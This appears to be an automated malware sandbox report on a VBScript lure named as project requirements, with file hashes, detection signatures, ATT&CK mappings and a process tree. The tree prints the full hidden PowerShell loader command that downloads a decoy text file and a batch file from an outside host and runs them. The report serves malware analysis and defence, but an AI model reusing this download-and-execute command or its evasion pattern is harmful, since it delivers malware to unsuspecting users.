60fed83e2bd582fd8f146d14f4053a97fba099349c6c4e3df8e20da74ade82d8

Analysis

max time kernel
39s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 22:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Project_Details_and_Requirements.vbs
Size 649B
Sample261022-2mda9avtdv
SHA256 60fed83e2bd582fd8f146d14f4053a97fba099349c6c4e3df8e20da74ade82d8
MD5 2c48230d31e48d6cf7df9d8bdeef8709
SHA1 9762f07f34ef937549f01a9c7c195e480e7d7d82
SHA512 8daf1b6211c55b605fd4f03cb1d0df6997e02742b2f75d31181e3a0de5c53b540b5628ccdfbf98e70bb490ef1959b81ef8ba84057ddb390d54bc3f0277379640
TLSH
T1C0F0FE13B21AB1A9A3E58E6944D38968C77B610F041812513C9DD20AEF232658B02218
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5612	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5612	powershell.exe
5612	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
6124	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2224	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5612	powershell.exe
5612	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5612	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 6124 wrote to memory of 5612	6124	WScript.exe	89
PID 5612 wrote to memory of 2432	5612	powershell.exe	91
PID 5612 wrote to memory of 2224	5612	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Project_Details_and_Requirements.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:6124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue';$t=$env:TEMP;$a=@(@{u='https://kohlerronan.com/sh.txt';p=Join-Path $t 'Project Details and Requirements.txt'},@{u='https://kohlerronan.com/rp99.bat';p=Join-Path $t 'rp99.bat'});foreach($f in $a){try{Invoke-WebRequest -Uri $f.u -OutFile $f.p -TimeoutSec 30 -ErrorAction Stop}catch{}};foreach($f in $a){if(Test-Path -LiteralPath $f.p){Start-Process -FilePath $f.p}}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5612
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Project Details and Requirements.txt
    3⤵
    PID:2432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rp99.bat" "
    3⤵
    - Executes a command shell one-liner
    PID:2224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Project Details and Requirements.txt

Path C:\Users\Admin\AppData\Local\Temp\Project Details and Requirements.txt
Size 11KB
SHA256 6552326a992c70a9e6f24487386c7d556f63e8baeac2468ae31282130b21baea
MD5 5e4c2e16fe679e42540d5ea047d00e40
SHA1 d896ba64930389f012a50e6e09896d705c69580a
SHA512 8570e2c14eb3919eddfdd3dcf7159204d1308793905893c206df42f29291ebb7da0a56d647904f4f99451e7e0d11026445c56a8e0b6fa0feba25dabe7ca9ca66
SSDEEP 192:sXHNsGeTHQpD+da6+888+UV7tDoj/pxzjbqFtCCSvRUM:sXX+/DV7k/3iFtQRUM
TLSH
T17E42195CAED161B0EA0707DEB7AF25690228A0C7240DC484F94CDEE87F46BDC4A57B57
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rp99.bat

Path C:\Users\Admin\AppData\Local\Temp\rp99.bat
Size 11KB
SHA256 423c302d9ed13227d242cd9661425247f392525cf75009e815c5f4e03ebb92d0
MD5 0eab880c486a88dee51a80ef32b0cad3
SHA1 9c4acc4f917e2075432c2e782c63c94cc88b554d
SHA512 3b6302d4819659d0f4a79de579ca72f7787ebafe262aa0876d699fe349c3828b1a5be011d241ed23b1a13d1f2d5cadcb299bb98251f0bd1f191061fd2f0643a2
SSDEEP 192:sXHNsGeTHQpD+da6+888+UV7tDoj/pxzjbqFtCeSHRUM:sXX+/DV7k/3iFtMRUM
TLSH
T18032195CAED161B0EA0717DEB3AF25690228A0C7240DC484F94CDEE87F4ABDC4A57B57
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5612-0-0x00007FF8530AF000-0x00007FF8530B0000-memory.dmp

Download

memory/5612-3-0x00000189A5F00000-0x00000189A5F22000-memory.dmp

Download

memory/5612-4-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

Download

memory/5612-5-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

Download

memory/5612-6-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

Download

memory/5612-7-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

Download

memory/5612-8-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

Download

memory/5612-9-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

Download

memory/5612-22-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

Download

memory/5612-23-0x00007FF852F20000-0x00007FF8538C4000-memory.dmp

Download